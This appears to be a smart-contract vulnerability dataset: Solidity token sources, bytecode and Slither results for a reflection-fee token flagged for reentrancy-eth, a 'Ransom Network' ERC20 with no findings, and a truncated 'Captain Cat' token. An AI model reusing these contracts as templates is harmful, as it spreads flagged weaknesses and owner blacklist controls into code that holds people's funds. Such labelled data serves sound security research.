(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr1);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f4578063c3c8cd8014610314578063c9567bf914610329578063dd62ed3e1461033e578063ff8726021461038457600080fd5b8063715018a61461026a5780638da5cb5b1461027f57806395d89b41146102a7578063a9059cbb146102d457600080fd5b8063273123b7116100dc578063273123b7146101d7578063313ce567146101f95780635932ead1146102155780636fc3eaec1461023557806370a082311461024a57600080fd5b806306fdde0314610119578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b757600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600e81526d086e4f2dad2dcc2d8e64086c2e6d60931b60208201525b60405161015991906117e1565b60405180910390f35b34801561016e57600080fd5b5061018261017d36600461168a565b610399565b6040519015158152602001610159565b34801561019e57600080fd5b50670de0b6b3a76400005b604051908152602001610159565b3480156101c357600080fd5b506101826101d236600461164a565b6103b0565b3480156101e357600080fd5b506101f76101f23660046115da565b610419565b005b34801561020557600080fd5b5060405160098152602001610159565b34801561022157600080fd5b506101f761023036600461177c565b61046d565b34801561024157600080fd5b506101f76104b5565b34801561025657600080fd5b506101a96102653660046115da565b6104e2565b34801561027657600080fd5b506101f7610504565b34801561028b57600080fd5b506000546040516001600160a01b039091168152602001610159565b3480156102b357600080fd5b5060408051808201909152600481526308682a6960e31b602082015261014c565b3480156102e057600080fd5b506101826102ef36600461168a565b610578565b34801561030057600080fd5b506101f761030f3660046116b5565b610585565b34801561032057600080fd5b506101f7610629565b34801561033557600080fd5b506101f761065f565b34801561034a57600080fd5b506101a9610359366004611612565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561039057600080fd5b506101f7610a21565b60006103a6338484610a59565b5060015b92915050565b60006103bd848484610b7d565b61040f843361040a856040518060600160405280602881526020016119b2602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ec0565b610a59565b5060019392505050565b6000546001600160a01b0316331461044c5760405162461bcd60e51b815260040161044390611834565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104975760405162461bcd60e51b815260040161044390611834565b600d8054911515600160b81b0260ff60b81b19909216919091179055565b600b546001600160a01b0316336001600160a01b0316146104d557600080fd5b476104df81610efa565b50565b6001600160a01b0381166000908152600260205260408120546103aa90610f3c565b6000546001600160a01b0316331461052e5760405162461bcd60e51b815260040161044390611834565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a6338484610b7d565b6000546001600160a01b031633146105af5760405162461bcd60e51b815260040161044390611834565b60005b8151811015610625576001600660008484815181106105e157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061061d81611947565b9150506105b2565b5050565b600b546001600160a01b0316336001600160a01b03161461064957600080fd5b6000610654306104e2565b90506104df81610fc0565b6000546001600160a01b031633146106895760405162461bcd60e51b815260040161044390611834565b600d54600160a01b900460ff16156106e35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071f3082670de0b6b3a7640000610a59565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075857600080fd5b505afa15801561076c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079091906115f6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d857600080fd5b505afa1580156107ec573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081091906115f6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561085857600080fd5b505af115801561086c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089091906115f6565b600d80546001600160a01b0319166001600160a01b03928316179055600c541663f305d71947306108c0816104e2565b6000806108d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561093857600080fd5b505af115801561094c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097191906117b4565b5050600d8054670de0b6b3a7640000600e5563ffff00ff60a01b198116630101000160a01b17909155600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109e957600080fd5b505af11580156109fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106259190611798565b6000546001600160a01b03163314610a4b5760405162461bcd60e51b815260040161044390611834565b670de0b6b3a7640000600e55565b6001600160a01b038316610abb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610b1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610be15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610c435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610ca55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6004600a556000546001600160a01b03848116911614801590610cd657506000546001600160a01b03838116911614155b15610eb0576001600160a01b03831660009081526006602052604090205460ff16158015610d1d57506001600160a01b03821660009081526006602052604090205460ff16155b610d2657600080fd5b600d546001600160a01b038481169116148015610d515750600c546001600160a01b03838116911614155b8015610d7657506001600160a01b03821660009081526005602052604090205460ff16155b8015610d8b5750600d54600160b81b900460ff165b15610de857600e54811115610d9f57600080fd5b6001600160a01b0382166000908152600760205260409020544211610dc357600080fd5b610dce42601e6118d9565b6001600160a01b0383166000908152600760205260409020555b600d546001600160a01b038381169116148015610e135750600c546001600160a01b03848116911614155b8015610e3857506001600160a01b03831660009081526005602052604090205460ff16155b15610e43576002600a555b6000610e4e306104e2565b600d54909150600160a81b900460ff16158015610e795750600d546001600160a01b03858116911614155b8015610e8e5750600d54600160b01b900460ff165b15610eae57610e9c81610fc0565b478015610eac57610eac47610efa565b505b505b610ebb838383611165565b505050565b60008184841115610ee45760405162461bcd60e51b815260040161044391906117e1565b506000610ef18486611930565b95945050505050565b600b546001600160a01b03166108fc610f14836002611170565b6040518115909202916000818181858888f19350505050158015610625573d6000803e3d6000fd5b6000600854821115610fa35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b6000610fad6111b2565b9050610fb98382611170565b9392505050565b600d805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061101657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561106a57600080fd5b505afa15801561107e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a291906115f6565b816001815181106110c357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600c546110e99130911684610a59565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611122908590600090869030904290600401611869565b600060405180830381600087803b15801561113c57600080fd5b505af1158015611150573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b610ebb8383836111d5565b6000610fb983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112cc565b60008060006111bf6112fa565b90925090506111ce8282611170565b9250505090565b6000806000806000806111e78761133a565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112199087611397565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461124890866113d9565b6001600160a01b03891660009081526002602052604090205561126a81611438565b6112748483611482565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112b991815260200190565b60405180910390a3505050505050505050565b600081836112ed5760405162461bcd60e51b815260040161044391906117e1565b506000610ef184866118f1565b6008546000908190670de0b6b3a76400006113158282611170565b82101561133157505060085492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006113578a600a54600a546114a6565b92509250925060006113676111b2565b9050600080600061137a8e8787876114fb565b919e509c509a509598509396509194505050505091939550919395565b6000610fb983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ec0565b6000806113e683856118d9565b905083811015610fb95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b60006114426111b2565b90506000611450838361154b565b3060009081526002602052604090205490915061146d90826113d9565b30600090815260026020526040902055505050565b60085461148f9083611397565b60085560095461149f90826113d9565b6009555050565b60008080806114c060646114ba898961154b565b90611170565b905060006114d360646114ba8a8961154b565b905060006114eb826114e58b86611397565b90611397565b9992985090965090945050505050565b600080808061150a888661154b565b90506000611518888761154b565b90506000611526888861154b565b90506000611538826114e58686611397565b939b939a50919850919650505050505050565b60008261155a575060006103aa565b60006115668385611911565b90508261157385836118f1565b14610fb95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b80356115d58161198e565b919050565b6000602082840312156115eb578081fd5b8135610fb98161198e565b600060208284031215611607578081fd5b8151610fb98161198e565b60008060408385031215611624578081fd5b823561162f8161198e565b9150602083013561163f8161198e565b809150509250929050565b60008060006060848603121561165e578081fd5b83356116698161198e565b925060208401356116798161198e565b929592945050506040919091013590565b6000806040838503121561169c578182fd5b82356116a78161198e565b946020939093013593505050565b600060208083850312156116c7578182fd5b823567ffffffffffffffff808211156116de578384fd5b818501915085601f8301126116f1578384fd5b81358181111561170357611703611978565b8060051b604051601f19603f8301168101818110858211171561172857611728611978565b604052828152858101935084860182860187018a1015611746578788fd5b8795505b8386101561176f5761175b816115ca565b85526001959095019493860193860161174a565b5098975050505050505050565b60006020828403121561178d578081fd5b8135610fb9816119a3565b6000602082840312156117a9578081fd5b8151610fb9816119a3565b6000806000606084860312156117c8578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561180d578581018301518582016040015282016117f1565b8181111561181e5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118b85784516001600160a01b031683529383019391830191600101611893565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118ec576118ec611962565b500190565b60008261190c57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561192b5761192b611962565b500290565b60008282101561194257611942611962565b500390565b600060001982141561195b5761195b611962565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104df57600080fd5b80151581146104df57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a8ffd3a55ea7d15b51eacd7277076fd6f362de0182c821e15f8d6c1c940f626764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,322 |
0x8cb4a3dab3f4e393a1607f1df7170dd13993c09c
|
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'Ransom Network' token contract
//
// Symbol : RANSOM
// Name : Ransom Network
// Total supply: 888 888 888
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract RANSOM is BurnableToken {
string public constant name = "Ransom Network";
string public constant symbol = "RANSOM";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 888888888 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600e81526020017f52616e736f6d204e6574776f726b00000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6334fb5e380281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600681526020017f52414e534f4d000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea26469706673582212200304580e9c1169a06c3c98fc2d0242e365e801d2b52a1c3a26b8fb98ef64dd9264736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,323 |
0x33f46059a0Ad1e781Da76841F2a69eAea28a6986
|
/**
*Submitted for verification at Etherscan.io on 2021-11-26
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/captaincattoken
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="CC";
string constant TOKEN_NAME="Captain Cat";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
